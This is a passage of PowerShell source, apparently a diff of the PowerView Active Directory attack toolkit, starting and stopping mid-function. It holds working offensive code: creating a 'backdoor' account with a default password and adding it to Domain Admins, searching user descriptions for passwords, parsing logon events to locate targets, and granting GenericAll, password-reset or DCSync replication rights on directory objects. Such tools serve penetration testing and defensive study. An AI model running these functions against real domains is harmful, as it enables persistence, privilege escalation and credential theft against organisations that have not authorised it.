Get-NetDomainController -Domain test +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP + ) + + process { + if($LDAP -or $DomainController) { + # filter string to return all domain controllers + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' + } + else { + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + $Founddomain.DomainControllers + } + } + } +} + + +######################################################## +# +# "net *" replacements and other fun start below +# +######################################################## + +function Get-NetUser { +<# + .SYNOPSIS + + Query information for a given user or users in the domain + using ADSI and LDAP. Another -Domain can be specified to + query for users across a trust. + Replacement for "net users /domain" + + .PARAMETER UserName + + Username filter string, wildcards accepted. + + .PARAMETER Domain + + The domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER AdminCount + + Switch. Return users with adminCount=1. + + .PARAMETER SPN + + Switch. Only return user objects with non-null service principal names. + + .PARAMETER Unconstrained + + Switch. Return users that have unconstrained delegation. + + .PARAMETER AllowDelegation + + Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetUser -Domain testing + + .EXAMPLE + + PS C:\> Get-NetUser -ADSpath "LDAP://OU=secret,DC=testlab,DC=local" +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [String] + $Filter, + + [Switch] + $SPN, + + [Switch] + $AdminCount, + + [Switch] + $Unconstrained, + + [Switch] + $AllowDelegation, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + # so this isn't repeated if users are passed on the pipeline + $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize + } + + process { + if($UserSearcher) { + + # if we're checking for unconstrained delegation + if($Unconstrained) { + Write-Verbose "Checking for unconstrained delegation" + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)" + } + if($AllowDelegation) { + Write-Verbose "Checking for users who can be delegated" + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))" + } + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } + + # check if we're using a username filter or not + if($UserName) { + # samAccountType=805306368 indicates user objects + $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)" + } + elseif($SPN) { + $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)" + } + else { + # filter is something like "(samAccountName=*blah*)" if specified + $UserSearcher.filter="(&(samAccountType=805306368)$Filter)" + } + + $UserSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + } +} + + +function Add-NetUser { +<# + .SYNOPSIS + + Adds a domain user or a local user to the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + The default behavior is to add a user to the local machine. + An optional group name to add the user to can be specified. + + .PARAMETER UserName + + The username to add. If not given, it defaults to 'backdoor' + + .PARAMETER Password + + The password to set for the added user. If not given, it defaults to 'Password123!' + + .PARAMETER GroupName + + Group to optionally add the user to. + + .PARAMETER ComputerName + + Hostname to add the local user to, defaults to 'localhost' + + .PARAMETER Domain + + Specified domain to add the user to. + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password 'Password123!' + + Adds a localuser 'john' to the local machine with password of 'Password123!' + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password 'Password123!' -ComputerName server.testlab.local + + Adds a localuser 'john' with password of 'Password123!' to server.testlab.local's local Administrators group. + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain '' + + Adds the user "john" with password "password" to the current domain and adds + the user to the domain group "Domain Admins" + + .EXAMPLE + + PS C:\> Add-NetUser -UserName john -Password password -GroupName "Domain Admins" -Domain 'testing' + + Adds the user "john" with password "password" to the 'testing' domain and adds + the user to the domain group "Domain Admins" + + .Link + + http://blogs.technet.com/b/heyscriptingguy/archive/2010/11/23/use-powershell-to-create-local-user-accounts.aspx +#> + + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $UserName = 'backdoor', + + [ValidateNotNullOrEmpty()] + [String] + $Password = 'Password123!', + + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [ValidateNotNullOrEmpty()] + [String] + $Domain + ) + + if ($Domain) { + + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + Write-Warning "Error in grabbing $Domain object" + return $Null + } + + # add the assembly we need + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ + # get the domain context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject + + # create the user object + $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context + + # set user properties + $User.Name = $UserName + $User.SamAccountName = $UserName + $User.PasswordNotRequired = $False + $User.SetPassword($Password) + $User.Enabled = $True + + Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain" + + try { + # commit the user + $User.Save() + "[*] User $UserName successfully created in domain $Domain" + } + catch { + Write-Warning '[!] User already exists!' + return + } + } + else { + + Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName" + + # if it's not a domain add, it's a local machine add + $ObjOu = [ADSI]"WinNT://$ComputerName" + $ObjUser = $ObjOu.Create('User', $UserName) + $ObjUser.SetPassword($Password) + + # commit the changes to the local machine + try { + $Null = $ObjUser.SetInfo() + "[*] User $UserName successfully created on host $ComputerName" + } + catch { + Write-Warning '[!] Account already exists!' + return + } + } + + # if a group is specified, invoke Add-NetGroupUser and return its value + if ($GroupName) { + # if we're adding the user to a domain + if ($Domain) { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain + "[*] User $UserName successfully added to group $GroupName in domain $Domain" + } + # otherwise, we're adding to a local group + else { + Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName + "[*] User $UserName successfully added to group $GroupName on host $ComputerName" + } + } +} + + +function Add-NetGroupUser { +<# + .SYNOPSIS + + Adds a user to a domain group or a local group on the current (or remote) machine, + if permissions allow, utilizing the WinNT service provider and + DirectoryServices.AccountManagement, respectively. + + .PARAMETER UserName + + The domain username to query for. + + .PARAMETER GroupName + + Group to add the user to. + + .PARAMETER ComputerName + + Hostname to add the user to, defaults to localhost. + + .PARAMETER Domain + + Domain to add the user to. + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName Administrators + + Adds a localuser "john" to the local group "Administrators" + + .EXAMPLE + + PS C:\> Add-NetGroupUser -UserName john -GroupName "Domain Admins" -Domain dev.local + + Adds the existing user "john" to the domain group "Domain Admins" in "dev.local" +#> + + [CmdletBinding()] + param( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $UserName, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName, + + [ValidateNotNullOrEmpty()] + [Alias('HostName')] + [String] + $ComputerName, + + [String] + $Domain + ) + + # add the assembly if we need it + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + # if we're adding to a remote host's local group, use the WinNT provider + if($ComputerName -and ($ComputerName -ne "localhost")) { + try { + Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName" + ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user") + "[*] User $UserName successfully added to group $GroupName on $ComputerName" + } + catch { + Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName" + return + } + } + + # otherwise it's a local machine or domain add + else { + try { + if ($Domain) { + Write-Verbose "Adding user $UserName to $GroupName on domain $Domain" + $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain + $DomainObject = Get-NetDomain -Domain $Domain + if(-not $DomainObject) { + return $Null + } + # get the full principal context + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject + } + else { + # otherwise, get the local machine context + Write-Verbose "Adding user $UserName to $GroupName on localhost" + $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName) + } + + # find the particular group + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName) + + # add the particular user to the group + $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) + + # commit the changes + $Group.Save() + } + catch { + Write-Warning "Error adding $UserName to $GroupName : $_" + } + } +} + + +function Get-UserProperty { +<# + .SYNOPSIS + + Returns a list of all user object properties. If a property + name is specified, it returns all [user:property] values. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER Properties + + Property names to extract for users. + + .PARAMETER Domain + + The domain to query for user properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-UserProperty -Domain testing + + Returns all user properties for users in the 'testing' domain. + + .EXAMPLE + + PS C:\> Get-UserProperty -Properties ssn,lastlogon,location + + Returns all an array of user/ssn/lastlogin/location combinations + for users in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> + + [CmdletBinding()] + param( + [String[]] + $Properties, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -Property $Properties + } + else { + # extract out just the property names + Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name' + } +} + + +function Find-UserField { +<# + .SYNOPSIS + + Searches user object fields for a given word (default *pass*). Default + field being searched is 'description'. + + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html + + .PARAMETER SearchTerm + + Term to search for, default of "pass". + + .PARAMETER SearchField + + User field to search, default of "description". + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Domain + + Domain to search computer fields for, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Find-UserField -SearchField info -SearchTerm backup + + Find user accounts with "backup" in the "info" field. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $SearchTerm = 'pass', + + [String] + $SearchField = 'description', + + [String] + $ADSpath, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField + } +} + + +function Get-UserEvent { +<# + .SYNOPSIS + + Dump and parse security events relating to an account logon (ID 4624) + or a TGT request event (ID 4768). Intended to be used and tested on + Windows 2008 Domain Controllers. + Admin Reqd? YES + + Author: @sixdub + + .PARAMETER ComputerName + + The computer to get events from. Default: Localhost + + .PARAMETER EventType + + Either 'logon', 'tgt', or 'all'. Defaults: 'logon' + + .PARAMETER DateStart + + Filter out all events before this date. Default: 5 days + + .EXAMPLE + + PS C:\> Get-UserEvent -ComputerName DomainController.testlab.local + + .LINK + + http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + Param( + [String] + $ComputerName = $Env:ComputerName, + + [String] + [ValidateSet("logon","tgt","all")] + $EventType = "logon", + + [DateTime] + $DateStart=[DateTime]::Today.AddDays(-5) + ) + + if($EventType.ToLower() -like "logon") { + [Int32[]]$ID = @(4624) + } + elseif($EventType.ToLower() -like "tgt") { + [Int32[]]$ID = @(4768) + } + else { + [Int32[]]$ID = @(4624, 4768) + } + + #grab all events matching our filter for the specified host + Get-WinEvent -ComputerName $ComputerName -FilterHashTable @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart} -ErrorAction SilentlyContinue | ForEach-Object { + + if($ID -contains 4624) { + # first parse and check the logon event type. This could be later adapted and tested for RDP logons (type 10) + if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') { + if($Matches) { + $LogonType = $Matches[0].trim() + $Matches = $Null + } + } + else { + $LogonType = "" + } + + # interactive logons or domain logons + if (($LogonType -eq 2) -or ($LogonType -eq 3)) { + try { + # parse and store the account used and the address they came from + if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') { + if($Matches) { + $UserName = $Matches[0].split("`n")[2].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[3].split(":")[1].trim() + $Matches = $Null + } + } + if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + # only add if there was account information not for a machine or anonymous logon + if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) { + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4624' + 'LogonType' = $LogonType + 'Time' = $_.TimeCreated + } + New-Object -TypeName PSObject -Property $LogonEventProperties + } + } + catch { + Write-Debug "Error parsing event logs: $_" + } + } + } + if($ID -contains 4768) { + # the TGT event type + try { + if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') { + if($Matches) { + $Username = $Matches[0].split("`n")[1].split(":")[1].trim() + $Domain = $Matches[0].split("`n")[2].split(":")[1].trim() + $Matches = $Null + } + } + + if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') { + if($Matches) { + $Address = $Matches[0].split("`n")[1].split(":")[-1].trim() + $Matches = $Null + } + } + + $LogonEventProperties = @{ + 'Domain' = $Domain + 'ComputerName' = $ComputerName + 'Username' = $UserName + 'Address' = $Address + 'ID' = '4768' + 'LogonType' = '' + 'Time' = $_.TimeCreated + } + + New-Object -TypeName PSObject -Property $LogonEventProperties + } + catch { + Write-Debug "Error parsing event logs: $_" + } + } + } +} + + +function Get-ObjectAcl { +<# + .SYNOPSIS + Returns the ACLs associated with a specific active directory object. + + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + + .PARAMETER SamAccountName + + Object name to filter for. + + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER RightsFilter + + Only return results with the associated rights, "All", "ResetPassword","WriteMembers" + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local + + Get the ACLs for the matt.admin user in the testlab.local domain + + .EXAMPLE + + PS C:\> Get-ObjectAcl -SamAccountName matt.admin -domain testlab.local -ResolveGUIDs + + Get the ACLs for the matt.admin user in the testlab.local domain and + resolve relevant GUIDs to their display names. +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name = "*", + + [Alias('DN')] + [String] + $DistinguishedName = "*", + + [Switch] + $ResolveGUIDs, + + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers")] + $RightsFilter, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize + + # get a GUID -> name mapping + if($ResolveGUIDs) { + $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } + } + + process { + + if ($Searcher) { + + if($SamAccountName) { + $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + else { + $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)" + } + + try { + $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + $Object = [adsi]($_.path) + if($Object.distinguishedname) { + $Access = $Object.PsBase.ObjectSecurity.access + $Access | ForEach-Object { + $_ | Add-Member NoteProperty 'ObjectDN' ($Object.distinguishedname[0]) + + if($Object.objectsid[0]){ + $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value + } + else { + $S = $Null + } + + $_ | Add-Member NoteProperty 'ObjectSID' $S + $_ + } + } + } | ForEach-Object { + if($RightsFilter) { + $GuidFilter = Switch ($RightsFilter) { + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + Default { "00000000-0000-0000-0000-000000000000"} + } + if($_.ObjectType -eq $GuidFilter) { $_ } + } + else { + $_ + } + } | Foreach-Object { + if($GUIDs) { + # if we're resolving GUIDs, map them them to the resolved hash table + $AclProperties = @{} + $_.psobject.properties | ForEach-Object { + if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) { + try { + $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()] + } + catch { + $AclProperties[$_.Name] = $_.Value + } + } + else { + $AclProperties[$_.Name] = $_.Value + } + } + New-Object -TypeName PSObject -Property $AclProperties + } + else { $_ } + } + } + catch { + Write-Warning $_ + } + } + } +} + + +function Add-ObjectAcl { +<# + .SYNOPSIS + + Adds an ACL for a specific active directory object. + + AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3) + https://adsecurity.org/?p=1906 + + ACE setting method adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects. + + 'ResetPassword' doesn't need to know the user's current password + 'WriteMembers' allows for the modification of group membership + + .PARAMETER TargetSamAccountName + + Target object name to filter for. + + .PARAMETER TargetName + + Target object name to filter for. + + .PARAMETER TargetDistinguishedName + + Target object distinguished name to filter for. + + .PARAMETER TargetFilter + + A customized ldap filter string to use to find a target, e.g. "(description=*admin*)" + + .PARAMETER TargetADSpath + + The LDAP source for the target, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + + .PARAMETER TargetADSprefix + + Prefix to set for the target searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER PrincipalSID + + The SID of the principal object to add for access. + + .PARAMETER PrincipalName + + The name of the principal object to add for access. + + .PARAMETER PrincipalSamAccountName + + The samAccountName of the principal object to add for access. + + .PARAMETER Rights + + Rights to add for the principal, "All","ResetPassword","WriteMembers","DCSync" + + .PARAMETER Domain + + The domain to use for the target query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john + + Grants 'john' all full access rights to the 'matt' account. + + .EXAMPLE + + Add-ObjectAcl -TargetSamAccountName matt -PrincipalSamAccountName john -Rights ResetPassword + + Grants 'john' the right to reset the password for the 'matt' account. + + .LINK + + https://adsecurity.org/?p=1906 + + https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [CmdletBinding()] + Param ( + [String] + $TargetSamAccountName, + + [String] + $TargetName = "*", + + [Alias('DN')] + [String] + $TargetDistinguishedName = "*", + + [String] + $TargetFilter, + + [String] + $TargetADSpath, + + [String] + $TargetADSprefix, + + [String] + [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')] + $PrincipalSID, + + [String] + $PrincipalName, + + [String] + $PrincipalSamAccountName, + + [String] + [ValidateSet("All","ResetPassword","WriteMembers","DCSync")] + $Rights = "All", + + [String] + $RightsGUID, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + begin { + $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize + + if(!$PrincipalSID) { + $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize + + if(!$Principal) { + throw "Error resolving principal" + } + $PrincipalSID = $Principal.objectsid + } + if(!$PrincipalSID) { + throw "Error resolving principal" + } + } + + process { + + if ($Searcher) { + + if($TargetSamAccountName) { + $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + } + else { + $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)" + } + + try { + $Searcher.FindAll() | Where-Object {$_} | Foreach-Object { + # adapted from https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects + + $TargetDN = $_.Properties.distinguishedname + + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalSID) + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None" + $ControlType = [System.Security.AccessControl.AccessControlType] "Allow" + $ACEs = @() + + if($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" } + # allows for the modification of group membership + "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"} + } + } + + if($GUIDs) { + foreach($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll" + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType + } + + Write-Verbose "Granting principal $PrincipalSID '$Rights' on $($_.Properties.distinguishedname)" + + try { + # add all the new ACEs to the specified object + ForEach ($ACE in $ACEs) { + Write-Verbose "Granting principal $PrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)" + $Object = [adsi]($_.path) + $Object.PsBase.ObjectSecurity.AddAccessRule($ACE) + $Object.PsBase.commitchanges() + } + } + catch { + Write-Warning "Error granting principal $PrincipalSID '$Rights' on $TargetDN : $_" + } + } + } + catch { + Write-Warning "Error: $_" + } + } + } +} + + +function Invoke-ACLScanner { +<# + .SYNOPSIS + Searches for ACLs for specifable AD objects (default to all domain objects) + with a domain sid of > -1000, and have modifiable rights. + + Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + + .PARAMETER SamAccountName + + Object name to filter for. + + .PARAMETER Name + + Object name to filter for. + + .PARAMETER DistinguishedName + + Object distinguished name to filter for. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER ADSprefix + + Prefix to set for the searcher (like "CN=Sites,CN=Configuration") + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ResolveGUIDs + + Switch. Resolve GUIDs to their display names. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Invoke-ACLScanner -ResolveGUIDs | Export-CSV -NoTypeInformation acls.csv + + Enumerate all modifable ACLs in the current domain, resolving GUIDs to display + names, and export everything to a .csv +#> + + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SamAccountName, + + [String] + $Name = "*", + + [Alias('DN')] + [String] + $DistinguishedName = "*", + + [String] + $Filter, + + [String] + $ADSpath, + + [String] + $ADSprefix, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $ResolveGUIDs, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # Get all domain ACLs with the appropriate parameters + Get-ObjectACL @PSBoundParameters | ForEach-Object { + # add in the translated SID for the object identity + $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value) + $_ + } | Where-Object { + # check for any ACLs with SIDs > -1000 + try { + [int]($_.IdentitySid.split("-")[-1]) -ge 1000 + } + catch {} + } | Where-Object { + # filter for modifiable rights + ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow")) + } +} + + +function Get-GUIDMap { +<# + .SYNOPSIS + + Helper to build a hash table of [GUID] -> resolved names + + Heavily adapted from http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx + + .PARAMETER Domain + + The domain to use for the query, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou-permissions-report-free-powershell-script-download.aspx +#> + + [CmdletBinding()] + Param ( + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} + + $SchemaPath = (Get-NetForest).schema.name + + $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize + if($SchemaSearcher) { + $SchemaSearcher.filter = "(schemaIDGUID=*)" + try { + $SchemaSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] + } + } + catch { + Write-Debug "Error in building GUID map: $_" + } + } + + $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize + if ($RightsSearcher) { + $RightsSearcher.filter = "(objectClass=controlAccessRight)" + try { + $RightsSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert the GUID + $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] + } + } + catch { + Write-Debug "Error in building GUID map: $_" + } + } + + $GUIDs +} + + +function Get-NetComputer { +<# + .SYNOPSIS + + This function utilizes adsisearcher to query the current AD context + for current computer objects. Based off of Carlos Perez's Audit.psm1 + script in Posh-SecMod (link below). + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Printers + + Switch. Return only printers. + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER FullData + + Switch. Return full computer objects instead of just system names (the default). + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect 